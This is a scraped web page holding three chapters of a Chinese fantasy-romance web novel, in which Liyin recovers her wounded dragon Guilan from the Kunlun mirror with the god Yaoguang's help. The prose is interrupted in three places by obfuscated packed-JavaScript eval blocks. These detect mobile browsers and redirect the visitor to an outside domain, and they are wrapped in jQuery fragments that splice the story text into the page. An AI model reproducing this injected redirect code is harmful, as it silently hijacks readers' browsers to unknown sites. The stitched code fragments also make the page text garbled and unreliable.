;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190501|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年不甘心,还想往上凑,然而一看摇光淡淡瞥过来的警告一眼,吓得浑身一个哆嗦,咬着唇忍下了。 而摇光掠向少年的视线,却并没有因他的收敛而收回。 他惊觉,昨夜被戒尺惩罚过的那一处掌心,在望向少年的这一刻,猛然间,竟灼烈地烧烫起来! 眼前有模糊的画面在飞掠。 冬日枯冷的某处山林之间,他看见,阿璃和一个看不清面目的男子牵着手,他们在林间漫无目的地闲走,一起遛着一只小小的鹿蜀。 走了一会,少女忽侧过了头,轻轻晃着那男子的手,脸上有些为难地问他:“年夜饭怎么办?这山上可没有厨子。” 男子似乎笑了,说了句什么,少女就也雀跃地笑起来。 可就在他凝神想再看清那男子的面容时,掌心烫意倏又消散,眼前仍只是那个目光殷切、不住望着璃音的鹿蜀少年。 这时落在后面的虞宛初和虞宛言也跟了上来,他们显然和鹿蜀少年很是相熟,见了他,都躬身拱手,恭敬作礼:“大师兄。” 鹿蜀少年腼腆颔首,又转向璃音,向前一比手,道:“仙子姐姐,我们快去见师父吧,听说你要回来,我们特地把姐姐之前的屋子收拾了出来,里面的摆设,这么多年我们都没动过,还和之前一模一样呢。” 他说得不错,璃音之前住的那间屋子,果然被保存得很好,九百年过去,能看出木头房柱都翻新过了,但一应陈设,都保持着原样,和她走时毫无差别。 把屋内匆匆扫过一遍,一转眼,就见屋外,一个白头发老道手持一根翠绿竹杖,倚门站着,正眼含笑意地望着自己。 “小蜀!” 故人故地重逢,明明没什么不同,却又好像一切都不一样了。 曾经繁华的王都早已不复存在。 热闹的街市,迎客往来的南风馆,气派的侯府宅院,巍峨堂皇的宫殿,还有她曾等过无数次慕璟明下值的宫门……都已随着王朝的覆灭流散。 只这一座石头堆成的长云山,跨越九百年变迁,原封不动地留了下来。 小鹿蜀长成了少年,小蜀的眼神,也再不是少女般的狡黠明快,而是沉淀出了满眼的端敏稳健。 屋内三个弟子见了她,都忙恭声行礼道:“拜见师父。” 璃音看小蜀掌门范儿十足地一摆手,三名弟子便又恭敬起身,忍不住噗嗤一声笑了出来:“九百年没见,你还真像模像样,当起掌门来了!” 云上真人一下子赧了脸,赶忙咳了下,又重新把掌门架子端好,才给璃音传音道:“姐姐,小辈面前……” 好歹给她留点面子啊! 但注意到璃音口中的“九百年没见”,又不禁眸光微微一敛。 果然,姐姐也不记得了啊。 三百年前,她们明明是见过的。 视线轻转,忍不住偷瞥了屋内的摇光一眼。 偷看完,便又在心里嘿嘿偷笑起来:不记得好啊,不记得就说明…… 然而还没等她愉快地想完,璃音已经直奔主题,将她的偷乐打断了:“小蜀,我走后,你知道归岚去哪儿了吗?” 早料到璃音此行是来寻归岚的,云上真人指腹一抚竹杖,心神稍顿,慢慢点了下头:“知道。” 旋即轻叹口气,看着璃音,面露哀伤,摇头道:“但他现在出不来。” 148. 第147章 藏身之所 出不来? 难道归岚是被谁捉了去,关起来了? 璃音神情立马焦急起来,云上真人见状,忙先说了句:“归岚哥哥无碍,只是我给他找了处地方养伤,现下不方便出来。” 受伤了?但既然说是在“养”,就总还是在安稳恢复的,璃音到底还是松了口气,听云上真人慢慢续道:“姐姐走后,归岚哥哥本来是回了观里,就想在这里等着,等姐姐回来的。前一二百年,也确实平和,山中僻静,除了我和归岚哥哥,从没第三个人来过。两百年后,我飞升去了天宫,道观里没人了,归岚哥哥便也回了东海。可就在他回东海的第二年……” 说到这,云上真人顿了顿,目光变得幽邃起来:“他遇上了‘石子’。” 石子?! 璃音心猛地一跳。 小蜀竟也知道“石子”! 但转念一想,小蜀是奉命下界寻凑昆仑镜的,如此,她会知道“石子”,便很合情合理了。 她还是插口确认了下:“是那种裹住全身、跨了时空过去的人?” 云上真人凝肃点头:“那些‘石子’,该都是冲着归岚哥哥身上的神弓来的。第一拨人没得手,从昆仑镜里跑了,但没过几年,又来了第二拨。再往后,这些‘石子’陆陆续续地来,就没断过。但海里毕竟是龙族的主场,每次被派过来的‘石子’,要么找不着人,要么讨不着好,所以三百年前开始,他们渐渐改变了策略,开始想尽办法,诱骗归岚哥哥出海,每次来的‘石子’数量也越来越多。” 来的“石子”再多,只要归岚潜在海里,躲入海底冰晶,打死不出,这世上,就没几人能奈他何,所以璃音临走前,才敢那样放心地把落日交付给了归岚。 而她听到这里,也没被激起过多的担心,不想小蜀的眸中,却忽然闪动起了一层水光,只听她缓缓地道:“虽然事情越来越凶险,归岚哥哥偶尔也会受伤,但我总以为,只要归岚哥哥在海底躲好,不出来,总归出不了什么大事,我们只要耐心地等,等姐姐回来了,一切就都会有办法解决的。直到……直到有一次,归岚哥哥被他们骗出了海面,受了很重很重的伤……” 这下璃音也急切了起来:“他怎么会出海的?” 再顾不得什么小辈前的颜面,面对璃音时,云上真人似乎又变回了九百年前的那个小蜀,她睁着湿漉漉的一双鹿眼,轻轻呜咽起来:“是来的那群‘石子’骗他说……说姐姐已被破军斩杀,投井死了,要他别再傻等,赶紧出去奔丧。归岚哥哥就被他们骗得出了海,差点……差点就死在他们剑下……” 璃音怔住。 被破军斩杀,投井死了?! 若按前世结局,那帮“石子”说的,竟字字是真,根本称不上是骗人! 她是否可以据此推论:那帮不知奉谁之命、前赴后继被投放过来的“石子”,皆是来自至少三百年后、她已丧命轮回井底的那个未来了? 只听小蜀吸了吸鼻子,又道:“那次,归岚哥哥以为自己要死了,他怕再护不住姐姐留下的神弓,找到了我,想把落日托付给我。” 璃音听得自责不已:都怪自己走得太仓促,明知外头虎视眈眈,还是就那样把落日丢给了归岚,害得他独自担着那么多的凶险,孤身一人,艰难熬走在渺渺茫茫的九百年间。 自己可真是个不称职的坏主人。 但她立马又联系起了一些东西,恍然抬眼,她望着小蜀:“所以三百年前的瑶池宴上,你‘失手’打碎了西王母的昆仑镜。” 屋子里坐着站着的都没外人,云上真人听璃音提起这个,不觉收起眼泪,轻轻嘿声一笑,承认得十分坦然:“轻轻一碰哪能摔得那么碎,当然是我故意的。” 对方在暗,他们在明,那时的云上真人便想,欲要公平较量,做出反击,至少,总得先装备上和敌人一样的武器吧! 但昆仑镜这等神器,西王母怎可能随随便便地赐予她一介小仙呢?于是酒一喝,心一横,就有了瑶池宴上那么一出。 她后来也不是没有想过,那些通过昆仑残镜,从未来而来的“石子”,是否就是她那日抡镜一摔,摔出的时空因果呢? 但当时归岚重伤奄奄,敌人又源源不绝,丝毫没有止息的苗头,她也实在没有更好的法子,所以,管他的!与其之后整个昆仑镜都落入他人之手,不若就由她来破釜沉舟,往后,大家就各持碎片,各凭本事吧! 璃音被她那骄傲的神色逗得失笑,小蜀这丫头,还是和九百年前一样,鹿蜀一族明明生性怯懦,但她为了亲族、好友,却总敢于踏上旁人不敢去走的路。 她继续推测着:“所以,你用昆仑镜,把归岚藏起来了?” 究竟是怎样一个地方,把人藏进去,能比海底更隐秘,隐秘到连主人的魂契都探不出他的所在? 在上山之前,璃音想了一晚上,想破了脑袋,也没能想得出来。 可如今,一旦联系起小蜀手中的昆仑镜,她不禁突发奇想:如果,归岚不是被藏进了某个“地方”,而是某个“时间”呢?! 今日的她,召唤不出昨日的归岚。 这样一想,不就很通顺了吗。 云上真人笑眯眯一点头,拇指抚上手中竹杖顶端,指腹一揩,一圈翠碧色的淡淡流光,霎时盈转开来! 原本瞧着光滑莹润、浑然一体的一根竹杖,竟发出咔哒哒的机扩滑动声响,不一会,便有无数方方正正的块状竹片,从杖身上猛然弹裂了出来! 好似一个同时弹开了所有柜门的柱状竹柜,接着,无数细碎的残镜,便从这些细小的竹格之中,漫射着屋内翠碧色的薄光,缓慢地飞旋了出来。 于满屋细碎的银光之中,云上真人轻轻抬指一捞,银流霎时向她指尖汇聚,无数的残镜,都纷纷围向她的指尖旋拢而来! 很快,在一片断面相接的咔咔声中,一面几有七八分完足的昆仑镜面,便渐渐浮现在了屋内众人的眼前。 云上真人摊开手掌,那镜子立时状似欢呼地轻抖了抖,便十分亲昵地蹭入了她刻满苍老纹路的掌心之中。 璃音有些惊奇地看着,云上真人已抬起眼来,缓声道:“归岚哥哥,被我安置在此镜之中了。” 璃音一时没太理解:“镜中?” 昆仑镜中,还可藏人么? 知晓璃音的困惑,云上真人慢慢解释道:“起初我想的是,要把归岚哥哥藏去另一个时空,叫他们再难找见。可思来想去,归岚哥哥有伤在身,无论过去未来,有神魂互噬的风险不说,只要长期待在一处不动,总还是有被找到的可能,所以…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190502|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 璃音已自恍然:“所以你把他藏在了‘路上’?” 昆仑镜能通向的终点无数,每个持镜之人,也都可以通过它,去往那无数的终点。 所以无论藏身去了哪个时空,都不能算作是全然安全。 只有通往终点的那条“路上”,那一条每个“石子”都必然经过、却又无法驻足观留的时空之路,才能做到让一个人真正彻底的隐形。 云上真人轻摩着掌中镜身,笑着点头道:“是,多仰赖昆仑君不计前嫌,肯帮我们这个忙。” 昆仑君?这又是哪位? 不待璃音细问,云上真人已转脸向摇光道:“只是要带归岚君出来,这事还需相烦神君,才能办成。” 璃音微怔,不由得也顺着小蜀的目光,向摇光看了过去。 她自己的龙,自己要带他出来,怎么还要相烦旁人? 摇光却没什么意外地轻一颔首,左袖轻挥过处,一副精巧银质的面具,便严丝合缝地覆上了他的脸。 面具下,男人清辉似的嗓音不紧不慢地传了出来:“我来。” 璃音一霎晃神。 这张面具,还有戴着面具的这个他,她是见过的。 不,不可能…… 这念头起来的瞬间,就又立马被她否定了回去:无论是这个时空里的摇光神君,还是九百年前的慕璟明,都从未在她面前戴过这样的面具,她怎么会觉得自己见过呢? 怔然间,昆仑镜已脱离了云上真人的掌心,渐渐延展成了足有一人高的巨大镜面,光滑的镜面如一汪巨大的平湖,无风而微澜。 璃音回神时,恰见到摇光迈开长步,没一点犹豫地踏入了泛射着薄薄一层银芒的镜面之中。 璃音无意识追着他的身影,上前一步,担心的话比思考更快地冒了出来:“他就这样进去,没事吗?” 但随即想到他进去前特地召出的面具,就明白自己肯定是多虑了。且旁人无法驻足留观的时空之路,可他司北斗,掌四时,他自然可以随意停驻。 果然,虞宛初在一旁温言给她解释道:“神君面上覆了星陨石打造的面具,隔绝了神魂气息,进去应当无碍。” 璃音一面原来如此地“哦”着点头,一面咬牙暗生自己的气:这是关心他关心出习惯来了,改掉,必须改掉!他都主动把你忘了,还巴巴地上赶着关心他做什么! 云上真人眯眼看着璃音这暗暗磨牙的模样,突然嘿地一笑:“姐姐,是不是在生神君的气呀?” “我跟他又不熟,谁生他的气……” 璃音正要嘴硬反驳几句,然而一想在小蜀面前,自己和慕璟明之间的那点事,人家有什么不知道的,那声音登时便没了底气,渐渐小了下去。 “听说姐姐和慕小侯爷的事,神君似乎是一点不剩,全忘干净了。”云上真人见璃音目光如刀,默默向自己飞了过来,还越发嘿嘿笑得起劲了,“这样姐姐都不生气呀?” 然而鹿蜀的本性,终究还是心肠好好、胆子小小,在璃音眉尾向自己危险地挑起时,云上真人还是立刻怕了,她往璃音耳边凑上几步,望着昆仑镜湖水般微漾的镜面,压着声道:“姐姐就不好奇,慕小侯爷可以为姐姐殉情,神君却为何会将与姐姐经历过的一切,全然忘掉吗?” 149. 第148章 入镜 昆仑镜中具体是个什么模样,千万年来,似乎从未有人真正踏足过此地,自然也就没人知道。 摇光才跨入一步,立时一阵凛冽的罡风扑面,吹动他银冠下的一头墨发倒卷,海藻般在脑后扬散开来。 面具下的眉心微凝,摇光停步抬手,直接一个剑诀掐出。 嗡—— 一声铮亮的剑吟声中,破军凌空而出,如有呼吸般,微微起伏着悬停在摇光身侧,和主人一起,凝神戒备着这一方陌生昏暗的空间。 可目之所及,其实什么也没有。 除了一重又一重、几乎将人整个都包裹起来的雾气,弥漫在这神秘的时间荒原之中,缓慢飘浮着,看上去仿佛给这空间镀上了一层无垠的深广,茫茫荡荡的一片。 狂风不息,疾风中猎猎鼓动的袍角,和周身丝毫不会被风吹动、只兀自轻游缓浮着的雾气,竟就这样出现在同一方空间之中,实是有种难言的诡异。 若非来的是北斗之一,应该在踏入的那一刻,就被卷走在这时空乱流一般的狂风之中了吧。 摇光阖目,在风中静静立了一会,感受着风向,然后倏地,一双黑亮中残烁着银辉的眸子,猛然睁开! 同时,他抬手向身侧轻轻一握,持了破军在手,待漆瞳中银芒散尽之后,忽一侧身,觑准了左斜前方,狠狠一剑劈出! 轰—— 霎时间,冷蓝色的清光,从破军星寒的剑身之上汹汹荡开,任狂风怎么吹都吹不散的浓雾,此刻竟有如实质的山壁一般,轰然四散着碎溅,被汹涌的剑光劈出一条不宽不窄的山肠小道来。 而在雾气涤开的那一瞬间,一个青衫落拓、身形瘦削的少年身影,在小道的入口处,缓缓显现了出来。 少年轻歪着身子,倚在一团迅速在他身后重新聚拢起来的一团雾气之上,仔细看,才发现他竟四肢缺一、五官缺俩:左半边身子上,连着肩膀少了一只胳膊,看得出原本清隽雅秀的脸上,更是少了一只左眼,和一只右耳。 龙族久不出世,归岚的长相,摇光其实也记得很模糊,但凭借着心底不知何处而来的一点莫名的感觉,他就是可以确定,眼前这位缺胳膊少眼睛的少年,不是阿璃要找回的归岚君。 见到来人,少年脸上没有浮现出任何惊讶之色,他甚至向摇光招了招手,笑吟吟招呼道:“本君在此恭候多时了,来的是北斗哪一位星君?” 说着,独眼中一道暗芒极快地闪过,他了然一笑,不再等摇光回答,直接自接自话,仍是笑吟吟地道:“原来是摇光神君,璃音仙子近来可好?” 摇光身形一顿,旋即想起了什么,眉尾微抬:“昆仑君?” “你怎么……”少年微一讶然之后,忽地眼睛一亮,竟是兴奋了起来,“小蜀告诉你的?” 只是云上真人方才不经意提过一嘴,被自己猜中了而已,但看少年满脸掩不住的荡漾神色,摇光反应过来什么,轻笑一声:“算是。” 昆仑镜中,藏有镜灵,号昆仑君。 世人皆以镜为媒,薄薄的一片,拿在手中,要么照己,要么渡己,却从未想过神镜之中自有天地,你在照镜,而镜中之人,也在照你。 入了镜中,在这位昆仑君的眼里,自己身上的前尘种种自是一览无余,所以少年向他来问阿璃的好,摇光微怔之后,竟生出种奇异的快感来:在他千万载荒芜的过往之中,若要一眼翻出一抹鲜亮的颜色,果然,就只有阿璃了吧。 于是照见他,便照见阿璃。 真该让她也来看看。 身上像被刻刀狠狠镌上了她的名字,早已由不得她不承认了。 那边的少年显也是心情大好,他一只独臂高扬,向着身后,轻轻打了一个响指。 一团软濛的雾气,托载着一头奄奄一息的、巨大的龙身,便从少年身后望不见底的深幽山肠之中,缓缓飘挪了出来。 那少年道:“龙族的这位小神君借居在此六百年,今本君原样交还,神君查看无误,可自行领去。” 还当真是“原样”交还。 摇光远远就看见,青龙蜷起的背脊上,一道巨大狰狞的剑伤,就翻卷着鲜红的皮肉,大剌剌敞开在那里。 血液在其间汩汩流动,竟是既不外涌,也没凝固,所以这一道伤,六百年过去,既没恶化,也没愈合,而是一直保持着六百年前被送来时的原样,在归岚身上静止了。 察觉到身子被人搬移,归岚身子忽地一痉,虚阖着无力睁开的双目,从嘶哑的喉间,滚出了一声不安又痛苦的低吟。 在昆仑镜中,他的伤势确实被静止了,但这也意味着,他受伤时的那份痛,亦被无限地持续了。 在第十次历劫归位时,玉帝曾叹着气对摇光说,说他这一生,都没有学会去看他人的疾苦,没有学会何为悲悯,不懂得何为恻隐之心。 但此刻,在归岚压抑的痛鸣声中,蓦地,摇光漆黑的眸底,如映刻的画面显影一般,惘山之巅,少女被吞噬在熊熊火光中的那一抹倔强的身影,再一次浮现了出来。 清晰如昨。 摇光眉心微拧,思索片刻,掌心一翻,翻出那一把饱藏着璃音气息的长命锁,慢慢伸过手去,凑去了归岚的鼻尖。 嗅到主人的气息,归岚发痉的身子立时被安抚下来,他激动地朝着摇光呜咽了两声,然后便温驯地伏下脑袋,无力挣动了。 镜中少年仍是在那边歪靠着身子,见状提醒:“神君该也知道,本君辖地特殊,他在此虽无法伤愈,却也终归可保得一条性命。待出镜后,他身上的伤便会全面爆发,到时候是死是活,就全看你们在外如何救治了。” 摇光抬眼看他,微点了下头:“有劳仙君多年看顾。” 镜灵闻言一笑,在这抹笑意中,适才被破军一剑劈散开来的雾气,渐渐重又开始聚拢。少年那一张残缺了五官、却仍显清秀的面庞,也开始一点一点,重新隐回了那一重又一重渺渺茫茫的雾气之中。 很快,少年的身影便再看不真切,只有他悠悠含笑的嗓音,还在从那迷雾之中传来:“至此,本君答应小蜀的事情便算完成,神君出去后,还烦请向她转告,让她不要忘记遵守约定,每月一次,要来陪本君说话。” 话音落地,少年也已完全没入了浓雾之中,再瞧不见。 而听着少年这一番话,尤其是听他话里唤着的“小蜀”,摇光的识海之中,却忽然掠过一丝微微异样的感觉。 许是身处昆仑镜中的缘故,一个被他遗忘了太久太久的称呼,就在此时,竟如突然窜起的火光般,蓦地重新跃入了他的脑海:“……小舅舅。” 他把楚作戎忘得太干净了。 就像他过往的生命中,很多不轻不重的人和事,也不是刻意在忘,只是也没重要到需要刻意去记住,于是渐渐地,时间漫过,许多像楚作戎那样不轻不重的记忆,便都在识海之中慢慢沉了底,被他没什么所谓地淡忘了。 甚至当时在揽华公主殿中,对着楚作戎留下的那一幅宴饮图,耳朵里就听着楚作戎的名字,他竟也一点没能想起什么来。 可为何听见别人叫一声“小蜀”,竟会让他将楚作戎这个名字,从如此之深的记忆深处,给莫名翻掘了出来? 楚作戎不过九百年前的一介凡人,他和长云山上的云上真人,又能攀扯上什么关系? 摇光自知是个没什么探究欲的人,对别人没有,对自己,和自己的记忆,也从来没有。 可他也说不清为何,这一次,他偏往下多探究了一点。 然后有了些许的怔然。 关于楚作戎,他还是能寻回一些模糊的印象:小舅舅与在凡间历劫时的他,似乎还算要好。 可是…… 小舅舅后来怎样了? 更准确地说,是在自己的十七岁之后,小舅舅怎样了? 自己身边的所有人又都怎样了? 还有…… 十七岁后的他自己,都经历了什么,最后又是怎样了? 是因何亡故,又如何归位的? 没有,所有这些,慕璟明十七岁后发生的这些,在他的记忆之中,都没有答案。 只有神魂深处那股剧烈而熟悉的、烧灼般的痛楚,猛烈地向他席卷了过来。 * 回程没有来路复杂,身后遥遥一点银光,摇光便带着化出人形的归岚,收起破军和长命锁,回身向着那点闪光,一步踏出了镜面。 在他入镜时,云上真人应是交代过了什么,两人一出,一抹柔和的淡白色光晕立时将他们笼罩了起来,摇光抬眼一看,果然,一颗足有拳头大小的东海冰晶,正在两人上方幽幽悬浮着,在璃音的灵力催动下,不断向外散发出温和治愈的光晕。 这让归岚的伤一出来便被镇住了,没受太多苦。 “主人……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15195938|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 热泪霎时滚了满脸,原本睁不开的眼都愣是睁开了,归岚抽噎着,一个大步,乖顺地垂着头,向璃音扑蹭了过去。 怕牵扯到他身上的伤口,璃音只好张开双臂,顺势把他迎了个满怀,轻拍着他的后脑安抚:“没事了,好归岚,有我在,以后都没事了。” 摇光挥手撤下面具,视线从东海冰晶上收回,落去了璃音柔和含笑的脸上。 而少女的目光,也在同一时刻,越过归岚宽阔的肩膀,向他静静望了过来。 那目光清幽、沉静,没了自她回来后,看向他时总暗含的那些责怨或是生气,更没有故意不看他,而是大方地落在他的身上,落进他的眼底。 而那巡视的目光,意思也很明显:她在看他有没有受伤。 迎着她来回审视的视线,摇光不禁笑起来,自觉报备:“我没事,里面很安全。” 谁知少女听了,突然把脸轻轻向边上一撇,毫不客气地回了一句:“谁问你了。” 云上真人在旁噗嗤笑了一声,几步上前,扶了归岚道:“姐姐,先把归岚哥哥安顿下来养伤吧。” 璃音耳根热了一下,又回过脸来,看摇光脸上浮现出熟悉的神色,正似笑非笑地看着自己,莫名不顺眼,一面扶归岚躺下,一面没好气使唤他:“在那呆站着做什么,不赶紧去帮着倒点水来。” 男人乖声应着“是”,脸上却没一点乖巧的神色,勾笑着一点眼尾,便转身端茶倒水去了。 德行,就非要被使唤了才高兴。 璃音在心里默默吐槽,脑子里却不断想着摇光适才入境时,小蜀清走屋内旁人,告诉给她一人的悄悄话。 “姐姐,你知道吗,关于‘石子’的记忆,是没法在‘非石子’的识海中,长久留存的。” “这也是一道很多人都不知道的天地法则,毕竟让‘土著’保有‘石子’的记忆,对于时空秩序而言,是一件太过危险的事。” “所以,在这条法则中,关于某一颗‘石子’的记忆,越是深刻,便会遗忘得越是彻底,而越是想要反抗、挣扎着想要记住,就越会让法则感应到危险,让他遗忘得越快。” 璃音初听还不大相信,对小蜀说:“那我与你和归岚而言,不也是‘石子’,你们不也都没把我忘记吗?可见都是借口,真正想记住,是无论如何也不会忘记的。” 小蜀告诉她:“归岚哥哥有魂契,而我也是有了昆仑镜后,才重新又把关于姐姐的一切,全部想起来的。” 想到这里,璃音不禁抬眸,看向桌旁正安安静静、提壶倒水的摇光,实难说清心里是个什么滋味。 怎么会这样呢。 因为太不想忘,所以才反而将她那样彻底地忘记了。 好像一下子,连生他气的权利都被剥夺了。 璃音下唇向上微抵,有点不高兴,又有一点点欣喜地看着他。 她没有太多矫情的矜持,自己看上的男人,他既没有负她,那她也不介意再追他一次。 可就这样原谅他了吗? 明明是他把自己忘了,却还要自己再追他一遍,真是岂有此理! 偏偏一凝神,瞧见男人倒水也倒出一种漫不经心的美来,心又为他猛烈跳动起来,真烦人! 正心绪漾漾地看着,蓦地,从摇光身侧尚未收起的那一面巨大的昆仑镜之中,仿佛有水纹也突然粼粼漾开,璃音有所察觉,视线微转,一时惊怔。 镜面之中,忽地清晰地映照出了男人执盏的身影,和她此刻端坐榻边的影像。 然而这个画面仅只停留了一瞬,下一息,水纹飞快地平息又漾开,涟漪再起时,璃音看见的,是一个身着青衣的少女,胸前开着一个硕大的血洞,抬脸迎着身前仙子凛决的神色,和漫天幽蓝的剑光,跪坐在一株巨大的月桂树下,闭上眼,准备迎接破军万钧雷霆的浩浩一剑。 前世月牢里,拜锦云仙子所赐,那送她解脱的一剑,不是多么陌生的场面。 可就在这时,就在画面里的少女阖着眼,静待处决自己的第三剑落下之时,倏地,一道冷蓝色的身影,没什么表情地,凭空出现在了那一圈早已被她的血浸红的地面之上! 镜外的璃音睁大了眼睛。 而同时,镜内的摇光,凝着比锦云更加凌冽的眉眼,面无表情地掐起剑诀,亲手将挟裹了万千星辰之力的致命一剑,狠狠送入了少女的胸膛之中。 150. 第149章 这书没法看了 “姐姐,够了吧,再厚,太阳都快照不进来了……” 眼见归岚都快被裹成茧了,璃音还在往他身上一道又一道地打着结界,没一点停手的意思,云上真人迟疑着又劝一句:“神弓如今回到了姐姐身上,那些‘石子’自然不会再找上归岚哥哥,他在这山上很安全,姐姐不必……” 话未说完,蓦地,唰—— 一室银辉漫洒,泛着点点清寒幽蓝的光晕,渐旋渐转,形成一个巨大的光罩,慢慢向归岚的身上罩落下去。 这下璃音终于停住了。 云上真人在旁边松了口气:“好了,有神君这一道结界护身,姐姐总可以放心了。” 与其他任何结界都不一样,蕴含了北斗星辰之力的这一道结界,可算是天上地下最牢固的空间结界,有此傍身,心随念转,转瞬便可逃往世上任何一处角落。 这还能有什么不放心的? 璃音眼皮一搭,静静看了会一沾了床榻就昏晕过去的归岚,慢慢收了诀印。 一盏幽香袅袅的清茶,被端托在修长冷白的指骨间,向她送了过来,男人清沉的嗓音同时传来:“不必太过悬心,我值夜时,也可以时常照看到他。” 哦,这也没错,夜空里洒下的每一道星辉,都可以是他的一道视线,只要他想,不时分眼来照看一下此处的归岚,也不过是一件举手之劳的事。 微侧过脸,在扑鼻的茶香中,璃音望见男人深淡的眼神。 是的,深淡。 怎么会有人拥有这样的眼神呢。 和慕璟明的放恣明炽不同,归位后的摇光神君看向自己的眼神里,好像总是这样,潜藏着深深的幽,偏又有淡淡的静。 上一世,他就是用这样深淡的眼神睨着她,剑诀一挥,破军刺下,就轻飘飘把她处决掉了。 回想自镜面中无意窥见的那场面,他大概是嫌锦云仙子前两剑刺得太轻,两剑都还没能把她给戳死,这才按捺不住,亲自上阵,给她送来了浩浩天威、一剑毙命的第三剑吧。 倒是很符合他一贯以来的作风,对待敌人,下手时,没一句多余的废话,从来都是稳、准、狠,能一剑解决的,绝不让自己用到第二剑。 为着这一点,自己不知曾心动过多少次。 可当那无情狠绝的剑是斩落在自己身上,原来是这样奇怪的感觉。 说不清是生气还是失落,反正都挺没道理的:神君斩杀妖魔,为民除害,她有什么可生气的?再说了,刚重生时,自己不还郑重委托人家,必要时候给自己一剑呢么?可见人家当时答应得一点也不敷衍,她若发狂,他是真会给她一剑。瞧瞧,她眼光多好,给自己找来了一个多么靠谱的监护者,所以失落什么呢,这下知道真是找对人了,该好好庆贺一番才对。 只是…… 前世的他,出现在月牢,又怎么会呢? 那时的他不是已同十位神巫一道,陨落在昆仑山巅了吗? 很想问个明白,可这事发生在前世,还是距今三百年后、早已被重置了的、虚无缥缈的一个前世,就是问了,他又不是从未来投过来的“石子”,又能有什么答案呢。 反正今日拿回了落日,去往九百年前的任务完成,也算对当时共议此事的他有了交待,今日之后,出了这座且生观,他们便各归各殿,各忙各事,应该很长一段时间,都不会再有什么交集了。 也挺好。 至于之前起念,要再追他一遍什么的,就当个笑话,忘了吧。 毕竟,死刑犯重来一世,竟去巴巴地倒追前世处决自己的刽子手,听来未免太荒诞、也太可悲了。 于是对于神君主动提供的看护,璃音轻轻点着头道了声谢,便从男人脸上收了视线,垂眼看了会被端在面前的茶水,没什么表情地接了过来,一口没喝,转手就给搁去了榻旁的小桌上。 面对一个刚刚提供了不少帮助的神君,璃音这给出的实在算不得什么好脸色,但无所谓,他都杀了她一次了,她给他摆点脸色又怎么了? 然而男人似乎误会了她的表情,轻缓在她耳边说了句:“他受伤不是你的错,你把神弓托付给他的决定很对,无须自责。” 璃音猛地抬眼,扭头看他。 摇光轻笑一声,好像知道自己笑起来很好看似的,黑亮的眼瞳幽幽追着她望来的动作,仿佛在勾她停驻。 看她果然被他眸光勾住,眼底那抹淡便被一点笑意冲得静静漫散开来,他伸手,把被璃音搁在榻边小桌上的那盏茶重新端起,一面慢条斯理地递去她手里,一面缓着声问:“今晚过来吗?” “过来?”璃音第二次接过茶盏,总不好意思再当人面搁下,于是只好就这么放手里捧着,仰脸看着他漂亮到不像话的眼睛,脑子一时有点犯呆,“过去哪?” 摇光一双眼睛始终盯着她,理所当然道:“陪我值夜。” 璃音:“……?” 怎么突然就要陪他值夜了? 然而男人见她迟疑,漆黑的眼珠忽然微而快地向边上转动一点,视线偏开一瞬,可很快就又转了回来,盯着她,像一点点略含不满的提醒:“不是老师要求的吗?” 璃音一时呆住。 居然还是她要求的? 她什么时候……啊,想起来了,好像还真有。 ——“其实我们还是时刻都不要分开的好,不如以后,我都来陪你值夜吧。” 可那都是刚重生时的老黄历了,今时今日,九百年前去过一趟之后,她的心境早已有了翻天覆地般的变化:她有了落日神弓,再不需要他了。 还有,她不想死了。 一点也不想。 她垂下眼,避免再看见他漆亮的眼睛:“不去了。” 可到底是被他无意识的一眼就影响到了,摆脸色也再摆不彻底,拒绝的话太生硬,明知他不会在意这些无关人的无关事,居然还是怕他失落起来。 幸而有个现成的借口,璃音没看回他,只补了一句:“去不了,距离明年初的大考不远了,巫真师姐要我每晚去她殿中修行,我走不开身。” 其实这也不能算是借口,她是真的走不开身。 身边的男人轻轻淡淡“嗯”了一声,也听不出他什么情绪,应该是很平静地接受了她这个说辞吧。 替归岚又仔细查看了一遍伤口,璃音确定好诊方,又嘱咐了小蜀许多,抬头往窗外一看,天色也渐渐要晚了。 她也是时候打道回府,准备在巫真师姐惨无人道的监管下,努力修炼备考去了。 拍拍衣裙起身,璃音端起茶抿了一口,竟还是温热的,一抬眼,才发现摇光还不声不响待在屋里,抱了个胳膊闲倚在门边,像在等她一起回去。 璃音微怔,走上前去,想问他怎么还没回去。 她有“宇”铃,他有星辰瞬行之力,两人又不同路,各回各家,不过各自一弹指的事,实在没必要等着谁一起上路。 可话到嘴边,还是变成了一句:“事情都交代好了,走吧。” 